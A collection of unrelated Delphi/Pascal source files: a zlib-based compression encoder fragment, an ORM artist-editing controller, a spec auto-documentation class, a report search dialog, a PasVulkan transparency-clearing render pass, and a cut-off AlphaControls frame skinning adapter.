err:=deflate(FZStream,Z_NO_FLUSH);
if err<>Z_OK then
raise EGZCompressionError.create(zerror(err));
end;
inc(raw_written,lastavail-FZStream.avail_in);
// Result:=count;
end;
procedure TBZDataEncoderLZ77.DecodeEnd;
begin
if InflateEnd(FZStream) < 0 then ShowMessage('Erreur Fin LZ77');
//CompressionError(gesLZ77Error);
end;
{%endregion%}
//---------------------------
// *1 = NDMM : Note De Moi Même
//---------------------------
End.
|
unit EditArtistController;
interface
uses
Generics.Collections,
Aurelius.Engine.ObjectManager,
Artist;
type
TEditArtistController = class
private
FManager: TObjectManager;
FArtist: TArtist;
public
constructor Create;
destructor Destroy; override;
procedure SaveArtist(Artist: TArtist);
procedure Load(ArtistId: Variant);
property Artist: TArtist read FArtist;
end;
implementation
uses
DBConnection;
{ TEditArtistController }
constructor TEditArtistController.Create;
begin
FArtist := TArtist.Create;
FManager := TDBConnection.GetInstance.CreateObjectManager;
end;
destructor TEditArtistController.Destroy;
begin
if not FManager.IsAttached(FArtist) then
FArtist.Free;
FManager.Free;
inherited;
end;
procedure TEditArtistController.Load(ArtistId: Variant);
begin
if not FManager.IsAttached(FArtist) then
FArtist.Free;
FArtist := FManager.Find<TArtist>(ArtistId);
end;
procedure TEditArtistController.SaveArtist(Artist: TArtist);
begin
if not FManager.IsAttached(Artist) then
FManager.SaveOrUpdate(Artist);
FManager.Flush;
end;
end.
|
unit AutoDocObjects;
interface
uses dSpecIntf;
type
TBaseAutoDoc = class(TInterfacedObject, IAutoDoc)
private
FContext: IContext;
FEnabled: Boolean;
function GetEnabled : Boolean;
procedure SetEnabled(Value : Boolean);
protected
function SplitCamelCaseString(const s : string) : string;
function DoOutput(const s : string) : string;
public
constructor Create(AContext : IContext);
destructor Destroy; override;
function BeginSpec(const ContextName, SpecName : string) : string;
function DocSpec(const Spec : string) : string;
end;
implementation
uses SysUtils;
{ TBaseAutoDoc }
function TBaseAutoDoc.BeginSpec(const ContextName, SpecName: string): string;
begin
Result := DoOutput(ContextName + ' - ' + SplitCamelCaseString(SpecName));
end;
constructor TBaseAutoDoc.Create(AContext: IContext);
begin
FContext := AContext;
end;
destructor TBaseAutoDoc.Destroy;
begin
FContext := nil;
inherited;
end;
function TBaseAutoDoc.DocSpec(const Spec: string): string;
var
ContextDescription: string;
begin
if FContext.ContextDescription <> '' then
ContextDescription := FContext.ContextDescription + ', '
else
ContextDescription := '';
Result := DoOutput(' ' + ContextDescription + Spec);
end;
function TBaseAutoDoc.DoOutput(const s: string): string;
begin
if FEnabled then
Result := s
else
Result := '';
end;
function TBaseAutoDoc.GetEnabled: Boolean;
begin
Result := FEnabled;
end;
procedure TBaseAutoDoc.SetEnabled(Value: Boolean);
begin
FEnabled := Value;
end;
function TBaseAutoDoc.SplitCamelCaseString(const s: string): string;
var
i: Integer;
begin
i := 2;
Result := s[1];
while i <= Length(s) do begin
if s[i] = UpperCase(s[i]) then
Result := Result + ' ';
Result := Result + LowerCase(s[i]);
Inc(i);
end;
end;
end.
|
unit QRSearchDlg;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Buttons, StdCtrls, qr5const;
type
TSearchDlg = class(TForm)
Edit1: TEdit;
Label1: TLabel;
CheckBox1: TCheckBox;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
cancel : boolean;
procedure GetText( var atext : string);
function GetCase : boolean;
end;
var
SearchDlg: TSearchDlg;
implementation
{$R *.dfm}
procedure TSearchDlg.FormCreate(Sender: TObject);
begin
// set captions
label1.Caption := sqrSearchText;
checkBox1.Caption := sqrMatchCase;
speedButton2.Caption := sqrSearchButtonCaption;
speedButton1.Caption := sqrCancel;
caption := sqrSearchDialogCaption;
end;
procedure TSearchDlg.GetText( var atext : string);
begin
atext := edit1.text;
end;
function TSearchDlg.GetCase : boolean;
begin
result := self.CheckBox1.Checked;
end;
procedure TSearchDlg.SpeedButton1Click(Sender: TObject);
begin
cancel := true;
close;
end;
procedure TSearchDlg.SpeedButton2Click(Sender: TObject);
begin
cancel := false;
close;
end;
end.
|
(******************************************************************************
* PasVulkan *
******************************************************************************
* Version see PasVulkan.Framework.pas *
******************************************************************************
* zlib license *
*============================================================================*
* *
* Copyright (C) 2016-2020, Benjamin Rosseaux (benjamin@rosseaux.de) *
* *
* This software is provided 'as-is', without any express or implied *
* warranty. In no event will the authors be held liable for any damages *
* arising from the use of this software. *
* *
* Permission is granted to anyone to use this software for any purpose, *
* including commercial applications, and to alter it and redistribute it *
* freely, subject to the following restrictions: *
* *
* 1. The origin of this software must not be misrepresented; you must not *
* claim that you wrote the original software. If you use this software *
* in a product, an acknowledgement in the product documentation would be *
* appreciated but is not required. *
* 2. Altered source versions must be plainly marked as such, and must not be *
* misrepresented as being the original software. *
* 3. This notice may not be removed or altered from any source distribution. *
* *
******************************************************************************
* General guidelines for code contributors *
*============================================================================*
* *
* 1. Make sure you are legally allowed to make a contribution under the zlib *
* license. *
* 2. The zlib license header goes at the top of each source file, with *
* appropriate copyright notice. *
* 3. This PasVulkan wrapper may be used only with the PasVulkan-own Vulkan *
* Pascal header. *
* 4. After a pull request, check the status of your pull request on *
http://github.com/BeRo1985/pasvulkan *
* 5. Write code which's compatible with Delphi >= 2009 and FreePascal >= *
* 3.1.1 *
* 6. Don't use Delphi-only, FreePascal-only or Lazarus-only libraries/units, *
* but if needed, make it out-ifdef-able. *
* 7. No use of third-party libraries/units as possible, but if needed, make *
* it out-ifdef-able. *
* 8. Try to use const when possible. *
* 9. Make sure to comment out writeln, used while debugging. *
* 10. Make sure the code compiles on 32-bit and 64-bit platforms (x86-32, *
* x86-64, ARM, ARM64, etc.). *
* 11. Make sure the code runs on all platforms with Vulkan support *
* *
******************************************************************************)
unit PasVulkan.Scene3D.Renderer.Passes.DeepAndFastApproximateOrderIndependentTransparencyClearCustomPass;
{$i PasVulkan.inc}
{$ifndef fpc}
{$ifdef conditionalexpressions}
{$if CompilerVersion>=24.0}
{$legacyifend on}
{$ifend}
{$endif}
{$endif}
{$m+}
interface
uses SysUtils,
Classes,
Math,
Vulkan,
PasVulkan.Types,
PasVulkan.Math,
PasVulkan.Framework,
PasVulkan.Application,
PasVulkan.FrameGraph,
PasVulkan.Scene3D,
PasVulkan.Scene3D.Renderer.Globals,
PasVulkan.Scene3D.Renderer,
PasVulkan.Scene3D.Renderer.Instance,
PasVulkan.Scene3D.Renderer.SkyBox;
type { TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass }
TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass=class(TpvFrameGraph.TCustomPass)
private
fInstance:TpvScene3DRendererInstance;
public
constructor Create(const aFrameGraph:TpvFrameGraph;const aInstance:TpvScene3DRendererInstance); reintroduce;
destructor Destroy; override;
procedure AcquirePersistentResources; override;
procedure ReleasePersistentResources; override;
procedure AcquireVolatileResources; override;
procedure ReleaseVolatileResources; override;
procedure Update(const aUpdateInFlightFrameIndex,aUpdateFrameIndex:TpvSizeInt); override;
procedure Execute(const aCommandBuffer:TpvVulkanCommandBuffer;const aInFlightFrameIndex,aFrameIndex:TpvSizeInt); override;
end;
implementation
{ TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass }
constructor TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.Create(const aFrameGraph:TpvFrameGraph;const aInstance:TpvScene3DRendererInstance);
begin
inherited Create(aFrameGraph);
fInstance:=aInstance;
Name:='DeepAndFastApproximateOrderIndependentTransparencyClearCustomPass';
end;
destructor TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.Destroy;
begin
inherited Destroy;
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.AcquirePersistentResources;
begin
inherited AcquirePersistentResources;
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.ReleasePersistentResources;
begin
inherited ReleasePersistentResources;
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.AcquireVolatileResources;
begin
inherited AcquireVolatileResources;
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.ReleaseVolatileResources;
begin
inherited ReleaseVolatileResources;
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.Update(const aUpdateInFlightFrameIndex,aUpdateFrameIndex:TpvSizeInt);
begin
inherited Update(aUpdateInFlightFrameIndex,aUpdateFrameIndex);
end;
procedure TpvScene3DRendererPassesDeepAndFastApproximateOrderIndependentTransparencyClearCustomPass.Execute(const aCommandBuffer:TpvVulkanCommandBuffer;const aInFlightFrameIndex,aFrameIndex:TpvSizeInt);
var ClearValue:TVkClearColorValue;
ImageSubresourceRanges:array[0..2] of TVkImageSubresourceRange;
//BufferMemoryBarrier:TVkBufferMemoryBarrier;
ImageMemoryBarriers:array[0..5] of TVkImageMemoryBarrier;
CountImageMemoryBarriers:TpvInt32;
begin
inherited Execute(aCommandBuffer,aInFlightFrameIndex,aFrameIndex);
ImageSubresourceRanges[0]:=TVkImageSubresourceRange.Create(TVkImageAspectFlags(VK_IMAGE_ASPECT_COLOR_BIT),
0,
1,
0,
fInstance.CountSurfaceViews);
ImageSubresourceRanges[1]:=TVkImageSubresourceRange.Create(TVkImageAspectFlags(VK_IMAGE_ASPECT_COLOR_BIT),
0,
1,
0,
fInstance.CountSurfaceViews*2);
ImageSubresourceRanges[2]:=TVkImageSubresourceRange.Create(TVkImageAspectFlags(VK_IMAGE_ASPECT_COLOR_BIT),
0,
1,
0,
fInstance.CountSurfaceViews);
if fInstance.ZFar<0.0 then begin
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=0;
ClearValue.uint32[2]:=0;
ClearValue.uint32[3]:=0;
end else begin
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=$ffffffff;
ClearValue.uint32[2]:=$ffffffff;
ClearValue.uint32[3]:=0;
end;
aCommandBuffer.CmdClearColorImage(fInstance.DeepAndFastApproximateOrderIndependentTransparencyFragmentCounterFragmentDepthsSampleMaskImages[aInFlightFrameIndex].VulkanImage.Handle,
VK_IMAGE_LAYOUT_GENERAL,
@ClearValue,
1,
@ImageSubresourceRanges[0]);
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=0;
ClearValue.uint32[2]:=0;
ClearValue.uint32[3]:=0;
aCommandBuffer.CmdClearColorImage(fInstance.DeepAndFastApproximateOrderIndependentTransparencyAverageImages[aInFlightFrameIndex].VulkanImage.Handle,
VK_IMAGE_LAYOUT_GENERAL,
@ClearValue,
1,
@ImageSubresourceRanges[0]);
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=0;
ClearValue.uint32[2]:=0;
ClearValue.float32[3]:=1.0;
aCommandBuffer.CmdClearColorImage(fInstance.DeepAndFastApproximateOrderIndependentTransparencyAccumulationImages[aInFlightFrameIndex].VulkanImage.Handle,
VK_IMAGE_LAYOUT_GENERAL,
@ClearValue,
1,
@ImageSubresourceRanges[0]);
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=0;
ClearValue.uint32[2]:=0;
ClearValue.uint32[3]:=0;
aCommandBuffer.CmdClearColorImage(fInstance.DeepAndFastApproximateOrderIndependentTransparencyBucketImages[aInFlightFrameIndex].VulkanImage.Handle,
VK_IMAGE_LAYOUT_GENERAL,
@ClearValue,
1,
@ImageSubresourceRanges[1]);
if fInstance.Renderer.TransparencyMode=TpvScene3DRendererTransparencyMode.SPINLOCKDFAOIT then begin
ClearValue.uint32[0]:=0;
ClearValue.uint32[1]:=0;
ClearValue.uint32[2]:=0;
ClearValue.uint32[3]:=0;
aCommandBuffer.CmdClearColorImage(fInstance.DeepAndFastApproximateOrderIndependentTransparencySpinLockImages[aInFlightFrameIndex].VulkanImage.Handle,
VK_IMAGE_LAYOUT_GENERAL,
@ClearValue,
1,
@ImageSubresourceRanges[2]);
end;
{BufferMemoryBarrier:=TVkBufferMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencyABufferBuffers[aInFlightFrameIndex].VulkanBuffer.Handle,
0,
VK_WHOLE_SIZE);]}
ImageMemoryBarriers[0]:=TVkImageMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencyFragmentCounterFragmentDepthsSampleMaskImages[aInFlightFrameIndex].VulkanImage.Handle,
ImageSubresourceRanges[0]);
ImageMemoryBarriers[1]:=TVkImageMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencyAccumulationImages[aInFlightFrameIndex].VulkanImage.Handle,
ImageSubresourceRanges[0]);
ImageMemoryBarriers[2]:=TVkImageMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencyAverageImages[aInFlightFrameIndex].VulkanImage.Handle,
ImageSubresourceRanges[0]);
ImageMemoryBarriers[3]:=TVkImageMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencyBucketImages[aInFlightFrameIndex].VulkanImage.Handle,
ImageSubresourceRanges[1]);
if fInstance.Renderer.TransparencyMode=TpvScene3DRendererTransparencyMode.SPINLOCKOIT then begin
ImageMemoryBarriers[4]:=TVkImageMemoryBarrier.Create(TVkAccessFlags(VK_ACCESS_TRANSFER_WRITE_BIT),
TVkAccessFlags(VK_ACCESS_SHADER_READ_BIT) or TVkAccessFlags(VK_ACCESS_SHADER_WRITE_BIT),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
TVkImageLayout(VK_IMAGE_LAYOUT_GENERAL),
VK_QUEUE_FAMILY_IGNORED,
VK_QUEUE_FAMILY_IGNORED,
fInstance.DeepAndFastApproximateOrderIndependentTransparencySpinLockImages[aInFlightFrameIndex].VulkanImage.Handle,
ImageSubresourceRanges[2]);
CountImageMemoryBarriers:=5;
end else begin
CountImageMemoryBarriers:=4;
end;
aCommandBuffer.CmdPipelineBarrier(TVkPipelineStageFlags(VK_PIPELINE_STAGE_TRANSFER_BIT),
TVkPipelineStageFlags(VK_PIPELINE_STAGE_FRAGMENT_SHADER_BIT),
TVkDependencyFlags(VK_DEPENDENCY_BY_REGION_BIT),
0,
nil,
0,//1,
nil,//@BufferMemoryBarrier,
CountImageMemoryBarriers,
@ImageMemoryBarriers[0]);
end;
end.
|
unit sFrameAdapter;
{$I sDefs.inc}
{.$DEFINE LOGGED}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs{$IFNDEF DELPHI5}, Types{$ENDIF},
sConst, sCommondata, sPanel, acSBUtils{$IFDEF LOGGED}, sDebugMsgs{$ENDIF};
type
TsFrameAdapter = class(TComponent)
{$IFNDEF NOTFORHELP}
protected
FCommonData: TsCommonData;
procedure PrepareCache;
procedure OurPaintHandler(aDC : hdc);
procedure AC_WMPaint(aDC: hdc);
public
Frame : TFrame;
OldWndProc: TWndMethod;
ListSW : TacScrollWnd;
procedure Loaded; override;
procedure AfterConstruction; override;
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
procedure NewWndProc(var Message: TMessage);
{$ENDIF} // NOTFORHELP
published
property SkinData : TsCommonData read FCommonData write FCommonData;
end;
implementation
uses math, menus, sVclUtils, sBorders, sGraphUtils, sSkinProps, sSkinManager,
sMaskData{$IFDEF CHECKXP}, UxTheme, Themes{$ENDIF}, acntUtils, sMessages, sStyleSimply,
sAlphaGraph, sStrings, sSpeedButton;
const
sWinControlForm = 'TWinControlForm';
{ TsFrameAdapter }
procedure TsFrameAdapter.AC_WMPaint(aDC: hdc);
var
DC, SavedDC : hdc;
PS : TPaintStruct;
begin
if not (csDestroying in Frame.ComponentState) and (Frame.Parent <> nil) and not IsCached(FCommonData) then begin
InvalidateRect(Frame.Handle, nil, True); // Background update (for repaint of graphic controls and for frame refreshing)
end;
BeginPaint(Frame.Handle, PS);
if aDC = 0 then DC := GetDC(Frame.Handle) else DC := aDC;
SavedDC := SaveDC(DC);
try
if IsCached(FCommonData) then begin
FCommonData.FUpdating := FCommonData.Updating;
if not FCommonData.FUpdating then OurPaintHandler(DC);
end
finally
RestoreDC(DC, SavedDC);
if aDC = 0 then ReleaseDC(Frame.Handle, DC);
EndPaint(Frame.Handle, PS);
end;
end;
procedure TsFrameAdapter.AfterConstruction;
begin
inherited;
if Assigned(Frame) and (GetBoolMsg(Frame, AC_CTRLHANDLED) or not Frame.HandleAllocated) then SkinData.UpdateIndexes;
end;
constructor TsFrameAdapter.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
if not (AOwner is TCustomFrame) then begin
Frame := nil;
Raise Exception.Create(acs_FrameAdapterError1);
end;
FCommonData := TsCommonData.Create(Self, True);
if (FCommonData.SkinSection = ClassName) or (FCommonData.SkinSection = '') then FCommonData.SkinSection := s_GroupBox;
FCommonData.COC := COC_TsFrameAdapter;
Frame := TFrame(AOwner);
FCommonData.FOwnerControl := TControl(AOwner);
if Frame <> nil then begin
OldWndProc := Frame.WindowProc;
Frame.WindowProc := NewWndProc;
end;
end;
destructor TsFrameAdapter.Destroy;
begin
if ListSW <> nil then FreeAndNil(ListSW);
if (Frame <> nil) and Assigned(OldWndProc) then Frame.WindowProc := OldWndProc;
Frame := nil;
if FCommonData <> nil then FreeAndNil(FCommonData);
inherited Destroy;
end;
procedure TsFrameAdapter.Loaded;
var
i : integer;
begin
inherited Loaded;
if Assigned(Frame) and GetBoolMsg(Frame, AC_CTRLHANDLED) and Assigned(SkinData) and Assigned(SkinData.SkinManager) then begin
SkinData.UpdateIndexes;
if not SkinData.SkinManager.SkinData.Active or (csDesigning in ComponentState) then Exit;
if (csDesigning in Frame.ComponentState) and // Updating of form color in design-time
(Frame.Parent.ClassName = sWinControlForm) and FCommonData.SkinManager.IsValidSkinIndex(FCommonData.SkinManager.ConstData.IndexGlobalInfo)
then TsHackedControl(Frame.Parent).Color := SkinData.SkinManager.gd[FCommonData.SkinManager.ConstData.IndexGlobalInfo].Color;
// Popups initialization
for i := 0 to Frame.ComponentCount - 1 do begin
if (Frame.Components[i] is TPopupMenu) and SkinData.SkinManager.SkinnedPopups then SkinData.SkinManager.SkinableMenus.HookPopupMenu(TPopupMenu(Frame.Components[i]), True);
end;
if SkinData.Skinned and (srThirdParty in SkinData.SkinManager.SkinningRules) then AddToAdapter(Frame);
end;
end;
procedure TsFrameAdapter.NewWndProc(var Message: TMessage);
var
i : integer;
m : TMessage;
begin
{$IFDEF LOGGED}
AddToLog(Message);
{$ENDIF}
if csDesigning in ComponentState then begin
OldWndProc(Message);
Exit;
end;
if Message.Msg = SM_ALPHACMD then case Message.WParamHi of
AC_CTRLHANDLED : begin Message.Result := 1; Exit end;
AC_GETAPPLICATION : begin Message.Result := longint(Application); Exit end;
AC_SETNEWSKIN : if (LongWord(Message.LParam) = LongWord(SkinData.SkinManager)) then begin
AlphaBroadCast(Frame, Message);
CommonWndProc(Message, FCommonData);
if not Assigned(SkinData.SkinManager) then Exit;
for i := 0 to Frame.ComponentCount - 1 do
if (Frame.Components[i] is TPopupMenu) and SkinData.SkinManager.SkinnedPopups
then SkinData.SkinManager.SkinableMenus.HookPopupMenu(TPopupMenu(Frame.Components[i]), True);
if (csDesigning in Frame.ComponentState) and // Updating of form color in design-time
(Frame.Parent.ClassName = sWinControlForm) and (FCommonData.SkinManager.ConstData.IndexGlobalInfo > -1)
then TsHackedControl(Frame.Parent).Color := SkinData.SkinManager.gd[FCommonData.SkinManager.ConstData.IndexGlobalInfo].Color;
exit
end;
AC_REFRESH : if (LongWord(Message.LParam) = LongWord(SkinData.SkinManager)) then begin
CommonWndProc(Message, FCommonData);
FCommonData.UpdateIndexes;
if not Assigned(FCommonData.SkinManager) then Exit;
if (csDesigning in Frame.ComponentState) and // Updating of form color in design-time
(Frame.Parent.ClassName = sWinControlForm) and (FCommonData.SkinManager.ConstData.IndexGlobalInfo > -1)
then TsHackedControl(Frame.Parent).Color := SkinData.SkinManager.gd[FCommonData.SkinManager.ConstData.IndexGlobalInfo].Color;
AlphaBroadcast(Frame, Message);
RedrawWindow(Frame.Handle, nil, 0, RDW_ERASE or RDW_UPDATENOW or RDW_INVALIDATE or RDW_ALLCHILDREN or RDW_FRAME);
RefreshScrolls(SkinData, ListSW);
exit
end;
AC_STOPFADING : AlphaBroadcast(Frame, Message);
AC_BEFORESCROLL : if GetBoolMsg(Frame, AC_CHILDCHANGED) or FCommonData.RepaintIfMoved then begin
SendMessage(Frame.Handle, WM_SETREDRAW, 0, 0);
end;
AC_AFTERSCROLL : if GetBoolMsg(Frame, AC_CHILDCHANGED) or FCommonData.RepaintIfMoved then begin
SendMessage(Frame.Handle, WM_SETREDRAW, 1, 0);
RedrawWindow(Frame.Handle, nil, 0, RDW_UPDATENOW or RDW_INVALIDATE or RDW_ALLCHILDREN or RDW_FRAME);
end;
AC_REMOVESKIN : if (LongWord(Message.LParam) = LongWord(SkinData.SkinManager)) then begin
if ListSW <> nil then FreeAndNil(ListSW);
CommonWndProc(Message, FCommonData);
if (csDesigning in Frame.ComponentState) and // Updating of form color in design-time
Assigned(Frame.Parent) and
(Frame.Parent.ClassName = sWinControlForm)
then TsHackedControl(Frame.Parent).Color := clBtnFace;
AlphaBroadcast(Frame, Message);
SetWindowPos(Frame.Handle, 0, 0, 0, 0, 0, SWP_NOMOVE or SWP_NOSIZE or SWP_FRAMECHANGED);
RedrawWindow(Frame.Handle, nil, 0, RDW_ERASE or RDW_UPDATENOW or RDW_INVALIDATE or RDW_ALLCHILDREN or RDW_FRAME);
exit
end;
{ AC_GETBG : if (FCommonData <> nil) then begin
InitBGInfo(FCommonData, PacBGInfo(Message.LParam), 0);
Exit;
end;}
AC_GETSKININDEX : begin
PacSectionInfo(Message.LParam)^.SkinIndex := FCommonData.SkinIndex;
Exit;
end;
end;
if (csDestroying in ComponentState) or (csDestroying in Frame.ComponentState) or not FCommonData.Skinned or not ((SkinData.SkinManager <> nil) and SkinData.SkinManager.SkinData.Active) then begin
if SkinData.SkinManager <> nil then if SkinData.SkinManager.SkinData.Active then case Message.Msg of
CM_SHOWINGCHANGED, CM_VISIBLECHANGED : begin
if Assigned(Frame) and Frame.HandleAllocated then begin
SkinData.UpdateIndexes;
m.Msg := SM_ALPHACMD;
m.WParam := MakeWParam(AC_SETNEWSKIN, AC_SETNEWSKIN);
m.LParam := LongInt(SkinData.SkinManager);
m.Result := 0;
AlphaBroadCast(Frame, m);
end;
end;
end;
OldWndProc(Message);
end
else begin
if Message.Msg = SM_ALPHACMD then case Message.WParamHi of
AC_CHILDCHANGED : begin
if (SkinData.SkinIndex < 0) or not Assigned(SkinData.SkinManager)
then Message.LParam := 0
else Message.LParam := integer((SkinData.SkinManager.gd[SkinData.SkinIndex].GradientPercent + SkinData.SkinManager.gd[SkinData.SkinIndex].ImagePercent > 0) or SkinData.RepaintIfMoved);
Message.Result := Message.LParam;
Exit;
end;
AC_PREPARING : begin
Message.Result := integer((SkinData.CtrlSkinState and ACS_FAST <> ACS_FAST) and ({FCommonData.BGChanged or} FCommonData.FUpdating));
Exit
end;
AC_UPDATING : begin
FCommonData.Updating := Message.WParamLo = 1;
for i := 0 to Frame.ControlCount - 1 do Frame.Controls[i].Perform(Message.Msg, Message.WParam, Message.LParam);
Exit;
end;
AC_ENDPARENTUPDATE : begin
if FCommonData.FUpdating {$IFDEF D2006} and not (csRecreating in Frame.ControlState) and not (csAligning in Frame.ControlState) {$ENDIF} then begin
FCommonData.Updating := False;
RedrawWindow(Frame.Handle, nil, 0, RDW_ALLCHILDREN or RDW_INVALIDATE or RDW_UPDATENOW or RDW_ERASE)
end;
Exit;
end;
AC_GETCONTROLCOLOR : begin
if SkinData.Skinned then begin
if not IsCached(SkinData) then begin
case SkinData.SkinManager.gd[SkinData.Skinindex].Transparency of
0 : Message.Result := longint(SkinData.SkinManager.gd[SkinData.Skinindex].Color);
100 : begin if Frame.Parent <> nil
then begin
Message.Result := SendMessage(Frame.Parent.Handle, SM_ALPHACMD, MakeWParam(0, AC_GETCONTROLCOLOR), 0);
if Message.Result = clFuchsia {if AlphaMessage not supported} then Message.Result := longint(TsHackedControl(Frame.Parent).Color)
end
else Message.Result := longint(ColorToRGB(Frame.Color));
end
else begin
if Frame.Parent <> nil
then Message.Result := SendMessage(Frame.Parent.Handle, SM_ALPHACMD, MakeWParam(0, AC_GETCONTROLCOLOR), 0)
else Message.Result := longint(ColorToRGB(Frame.Color));
// Mixing of colors
C1.C := TColor(Message.Result);
C2.C := SkinData.SkinManager.gd[SkinData.Skinindex].Color;
C1.R := IntToByte(((C1.R - C2.R) * SkinData.SkinManager.gd[SkinData.Skinindex].Transparency + C2.R shl 8) shr 8);
C1.G := IntToByte(((C1.G - C2.G) * SkinData.SkinManager.gd[SkinData.Skinindex].Transparency + C2.G shl 8) shr 8);
C1.B := IntToByte(((C1.B - C2.B) * SkinData.SkinManager.gd[SkinData.Skinindex].Transparency + C2.B shl 8) shr 8);
Message.Result := longint(C1.C);
end
end;
end
else Message.LParam := longint(clFuchsia);
end
else if Assigned(Frame) then Message.LParam := longint(ColorToRGB(TsHackedControl(Frame).Color));
end
else begin
CommonWndProc(Message, FCommonData);
Exit;
end;
end
else case Message.Msg of
CM_MOUSEENTER : if not (csDesigning in ComponentState) then begin
OldWndProc(Message);
for i := 0 to Frame.ControlCount - 1 do begin
if (Frame.Controls[i] is TsSpeedButton) and (Frame.Controls[i] <> Pointer(Message.LParam)) and TsSpeedButton(Frame.Controls[i]).SkinData.FMouseAbove then begin
Frame.Controls[i].Perform(CM_MOUSELEAVE, 0, 0) // !!!!
end;
end;
if DefaultManager <> nil then DefaultManager.ActiveControl := Frame.Handle;
end;
CM_VISIBLECHANGED : begin
FCommonData.BGChanged := True;
OldWndProc(Message);
if Assigned(SkinData.SkinManager) then SendMessage(Frame.Handle, SM_ALPHACMD, MakeWParam(0, AC_REFRESH), LongWord(SkinData.SkinManager));
end;
WM_SIZE, WM_MOVE : begin
FCommonData.BGChanged := FCommonData.BGChanged or (Message.Msg = WM_SIZE) or FCommonData.RepaintIfMoved;
if FCommonData.BGChanged then begin
m := MakeMessage(SM_ALPHACMD, MakeWParam(1, AC_SETBGCHANGED), 0, 0);
Frame.BroadCast(m);
end;
if Message.Msg = WM_SIZE then InvalidateRect(Frame.Handle, nil, True);
OldWndProc(Message);
end;
WM_PARENTNOTIFY : if ((Message.WParam and $FFFF) in [WM_CREATE, WM_DESTROY]) and not (csLoading in ComponentState) and not (csCreating in Frame.ControlState) then begin
if (Message.WParamLo = WM_CREATE) and Assigned(Frame) and Frame.HandleAllocated then begin
SkinData.UpdateIndexes;
m.Msg := SM_ALPHACMD;
m.WParam := MakeWParam(0, AC_SETNEWSKIN);
m.LParam := LongInt(SkinData.SkinManager);
m.Result := 0;
AlphaBroadCast(Frame, m);
end;
if (Message.WParamLo = WM_CREATE) and (srThirdParty in SkinData.SkinManager.SkinningRules) then AddToAdapter(Frame);
OldWndProc(Message);
UpdateScrolls(ListSW, False);
end
else OldWndProc(Message);
CM_SHOWINGCHANGED : begin
OldWndProc(Message);
RefreshScrolls(SkinData, ListSW);
if (srThirdParty in SkinData.SkinManager.SkinningRules) then AddToAdapter(Frame);
end;
WM_PAINT : begin
if (csDesigning in Frame.ComponentState) or (Frame.Parent = nil) or (csDestroying in ComponentState) then OldWndProc(Message) else begin
AC_WMPaint(TWMPaint(Message).DC);
Message.Result := 0;
end;
end;
WM_PRINT : if FCommonData.Skinned then begin
FCommonData.Updating := False;
if ControlIsReady(Frame) then begin
